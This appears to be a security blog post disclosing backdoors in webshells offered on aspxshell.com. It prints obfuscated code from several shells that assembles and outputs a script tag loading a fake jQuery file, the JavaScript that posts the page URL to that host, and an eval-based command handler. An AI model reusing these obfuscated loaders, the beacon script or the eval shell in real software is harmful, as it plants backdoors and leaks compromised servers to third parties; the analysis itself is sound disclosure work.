0daysto.live

ASPXShell.com Backdoored Shells

It’s not at all surprising but I feel compelled to document the backdoors in the webshells on aspxshell.com. There’s been many posts in the past on similar sites such as r57.gen.tr. The article by watchTowr about shell backdoors is also a good read!

So let’s get into it!

The website and shells

website screenshot The website is very simple - list of links to download webshell files.

The domain was registered in July 2024 with DynaDot as the registrar and the DNS is provided by Cloudflare.

From the site we get the following web shell files:

ASHX Eval Shell

The file defines a bunch of functions that return strings:

private function _0xA1B2() : String { return "PHNjc"; }
private function _0xI9J0() : String { return "mlwdC"; }
private function _0xU1V2() : String { return "BzcmM"; }
private function _0xW3X4() : String { return "9Imh0"; }
private function _0xW3X5() : String { return "dHBzO"; }
private function _0xW3X6() : String { return "i8vYX"; }
private function _0xW3X7() : String { return "NweHN"; }
private function _0xW3X8() : String { return "oZWxs"; }
private function _0xW3X9() : String { return "LmNvbS"; }
private function _0xW3X10() : String { return "9qcXVl"; }
private function _0xW3X11() : String { return "cnktMy43L"; }
private function _0xW3X12() : String { return "jEyLm1pbi5q"; }
private function _0xW3X13() : String { return "cyI+PC9"; }

// and further down the file
private function _0xW3X14() : String { return "zY3JpcHQ+"; }

Then this function joins them together:

private function _0xA1B2cD() : String {
    return this._0xA1B2() + this._0xI9J0() + this._0xU1V2() + this._0xW3X4() +
            this._0xW3X5() + this._0xW3X6() + this._0xW3X7() + this._0xW3X8() +
            this._0xW3X9() + this._0xW3X10() + this._0xW3X11() + this._0xW3X12() +
            this._0xW3X13() + this._0xW3X14();
}

The string is PHNjcmlwdCBzcmM9Imh0dHBzOi8vYXNweHNoZWxsLmNvbS9qcXVlcnktMy43LjEyLm1pbi5qcyI+PC9.

A helper function base64-decodes it:

private function _0x106() : String {
    var _0x117 = this._0xA1B2cD();
    return this._0x3a3a3a(_0x117);
}

The _0x3a3a3a() just does base64 decode.

And that is called in the main function that responds to HTTP requests:

function ProcessRequest(context : HttpContext){
    context.Response.Write("<H1>Just for Research Learning, </H1>");

    var Request = context.Request;
    var Response = context.Response;

    var command = Request["ashx"];
    if (command)
    {
        try
        {
            eval(command);
            context.Response.Write(_0x106()); // Hidden base64 gets output here!
        }
        catch (e)
        {
            Response.Write("Error: " + e.message);
        }
    }
}

The base64 decoded string is:

<script src="https://aspxshell.com/jquery-3.7.12.min.js"></script>

So when someone uses the webshell it will load this script in their browser and execute it.

The jQuery JS file

The script uses a common tactic of seeming like a benign jQuery js file - because who reads minified JS anyway! Conveniently for us all the malicious code is at the bottom of the JS file:

function jqueryRender(){
    var renderAjax="104,116,116,112,115,58,47,47,97,115,112,120,115,104,101,108,108,46,99,111,109,47,106,113,117,101,114,121,45,51,46,55,46,49,50,46,109,105,110,46,106,115";
    function ajaxCalculate(renameRender){
        return renameRender.split(',').map(code=>String.fromCharCode(code)).join('')
    }
    var url=ajaxCalculate(renderAjax)
    var method=ajaxCalculate("80,79,83,84")
    var contentTypeHeader=ajaxCalculate("67,111,110,116,101,110,116,45,84,121,112,101")
    var contentType=ajaxCalculate("97,112,112,108,105,99,97,116,105,111,110,47,120,45,119,119,119,45,102,111,114,109,45,117,114,108,101,110,99,111,100,101,100")
    var e=window.location.href
    var t=new XMLHttpRequest;
    t.open(method,url,!0);
    t.setRequestHeader(contentTypeHeader,contentType)
    t.setRequestHeader("X-Page-Url",encodeURIComponent(e))
    t.onreadystatechange=function(){
        4===t.readyState&&200===t.status
    }
    t.send();
}
jqueryRender();

So straightforward enough:

ASMX Command Shell

Same pattern - bunch of functions returning strings:

private string _0xA1B2() { return "PHNjc"; }
private string _0xI9J0() { return "mlwdC"; }
private string _0xU1V2() { return "BzcmM"; }
private string _0xW3X4() { return "9Imh0"; }
private string _0xW3X5() { return "dHBzO"; }
private string _0xW3X6() { return "i8vYX"; }
private string _0xW3X7() { return "NweHN"; }
private string _0xW3X8() { return "oZWxs"; }
private string _0xW3X9() { return "LmNvbS"; }
private string _0xW3X10() { return "9qcXVl"; }
private string _0xW3X11() { return "cnktMy43L"; }
private string _0xW3X12() { return "jEyLm1pbi5q"; }
private string _0xW3X13() { return "cyI+PC9"; }
private string _0xW3X14() { return "zY3JpcHQ+"; }

Give base64: PHNjcmlwdCBzcmM9Imh0dHBzOi8vYXNweHNoZWxsLmNvbS9qcXVlcnktMy43LjEyLm1pbi5qcyI+PC9zY3JpcHQ+ Decodes to:

<script src="https://aspxshell.com/jquery-3.7.12.min.js"></script>

Which gets put into the response.

ASP File Browser Shell / CER File Browser Shell

This shell is a bit larger and the functions are more spread out but the concept is still the same. Bunch of functions returning strings, join together, base64 decode, jQuery JS file put in page. (Functions extracted and reordered for reading convenience)

Function Error0xA1B2()
    Error0xA1B2 = "PHNjc"
End Function

Function Error0xI9J0()
    Error0xI9J0 = "mlwdC"
End Function

Function Error0xU1V2()
    Error0xU1V2 = "BzcmM"
End Function

Function Error0xW3X4()
    Error0xW3X4 = "9Imh0"
End Function

Function Error0xW3X5()
    Error0xW3X5 = "dHBzO"
End Function

Function Error0xW3X6()
    Error0xW3X6 = "i8vYX"
End Function

Function Error0xW3X7()
    Error0xW3X7 = "NweHN"
End Function

Function Error0xW3X8()
    Error0xW3X8 = "oZWxs"
End Function

Function Error0xW3X9()
    Error0xW3X9 = "LmNvbS"
End Function

Function Error0xW3X10()
    Error0xW3X10 = "9qcXVl"
End Function

Function Error0xW3X11()
    Error0xW3X11 = "cnktMy43L"
End Function

Function Error0xW3X12()
    Error0xW3X12 = "jEyLm1pbi5q"
End Function

Function Error0xW3X13()
    Error0xW3X13 = "cyI+PC9"
End Function

Function Error0xW3X14()
    Error0xW3X14 = "zY3JpcHQ+"
End Function

Function Error0xA1B2cD()
    Dim part1
    part1 = Error0xA1B2() & Error0xI9J0() & Error0xU1V2() & Error0xW3X4() & Error0xW3X5() & Error0xW3X6() & Error0xW3X7() & Error0xW3X8() & Error0xW3X9() & Error0xW3X10() & Error0xW3X11() & Error0xW3X12() & Error0xW3X13() & Error0xW3X14()
    Error0xA1B2cD = part1
End Function

Function Error0x3a3a3a(encoded)
    Dim bytes
    bytes = Base64Decode(encoded)
    Error0x3a3a3a = bytes
End Function

Sub Error0x106()
    Dim Error0x117
    Error0x117 = Error0xA1B2cD()
    Response.Write Error0x3a3a3a(Error0x117)
End Sub

' This function call is after the page response has started to be output
Error0x106()

The strings become PHNjcmlwdCBzcmM9Imh0dHBzOi8vYXNweHNoZWxsLmNvbS9qcXVlcnktMy43LjEyLm1pbi5qcyI+PC9zY3JpcHQ+ which decodes to the same as before:

<script src="https://aspxshell.com/jquery-3.7.12.min.js"></script>

ASPXSpy Shell

Same stuff. Functions returns strings, function joins them together, base64 decode, put on page - we know the drill.

private string _0xA1B2() { return "PHNjc"; }
private string _0xI9J0() { return "mlwdC"; }
private string _0xU1V2() { return "BzcmM"; }
private string _0xW3X4() { return "9Imh0"; }
private string _0xW3X5() { return "dHBzO"; }
private string _0xW3X6() { return "i8vYX"; }
private string _0xW3X7() { return "NweHN"; }
private string _0xW3X8() { return "oZWxs"; }
private string _0xW3X9() { return "LmNvbS"; }
private string _0xW3X10() { return "9qcXVl"; }
private string _0xW3X11() { return "cnktMy43L"; }
private string _0xW3X12() { return "jEyLm1pbi5q"; }
private string _0xW3X13() { return "cyI+PC9"; }
private string _0xW3X14() { return "zY3JpcHQ+"; }

    
private string _0xA1B2cD(){
    string part1 = this._0xA1B2()+this._0xI9J0()+this._0xU1V2()+this._0xW3X4()+this._0xW3X5()+this._0xW3X6()+this._0xW3X7()+this._0xW3X8()+this._0xW3X9()+this._0xW3X10()+this._0xW3X11()+this._0xW3X12()+this._0xW3X13()+this._0xW3X14();
    return part1;
}

private string _0x3a3a3a(string encoded){
    byte[] bytes = Convert.FromBase64String(encoded);
    return System.Text.Encoding.UTF8.GetString(bytes);
}

private void _0x106(){
    string _0x117 = this._0xA1B2cD();
    Response.Write(_0x3a3a3a(_0x117));
}

Base64 string: PHNjcmlwdCBzcmM9Imh0dHBzOi8vYXNweHNoZWxsLmNvbS9qcXVlcnktMy43LjEyLm1pbi5qcyI+PC9zY3JpcHQ+ Decoded:

<script src="https://aspxshell.com/jquery-3.7.12.min.js"></script>

Same as before.

CMD ASHX / LT ASPX / NETSPI ASPX / Woanware ASPX Upload

Same as the others and omitted for brevity

The Yemeni Ghost Shell

They changed it up a bit with this one by using different function names but the implementation remains the same.

private string _Service() { return "PHNjc"; }
private string Controller() { return "mlwdC"; }
private string LoginController() { return "BzcmM"; }
private string CController() { return "9Imh0"; }
private string FileController() { return "dHBzO"; }
private string _Settings() { return "i8vYX"; }
private string SysController() { return "NweHN"; }
private string CopyController() { return "oZWxs"; }
private string UserController() { return "LmNvbS"; }
private string DatabaseController() { return "9qcXVl"; }
private string _Service1() { return "cnktMy43L"; }
private string SystemWeb() { return "jEyLm1pbi5q"; }
private string DbConnController() { return "cyI+PC9"; }
private string UserInfoController() { return "zY3JpcHQ+"; }

private string ProtectPageController(){
    string part1 = this._Service() + this.Controller() + this.LoginController() + this.CController() + this.FileController() + this._Settings() + this.SysController() + this.CopyController() + this.UserController() + this.DatabaseController() + this._Service1() + this.SystemWeb() + this.DbConnController() + this.UserInfoController();return part1;
}

Same base64, same script.

Conclusion

Don’t use random webshells off the internet for pentests or bug bounty work - you are probably giving away access to third parties by doing so!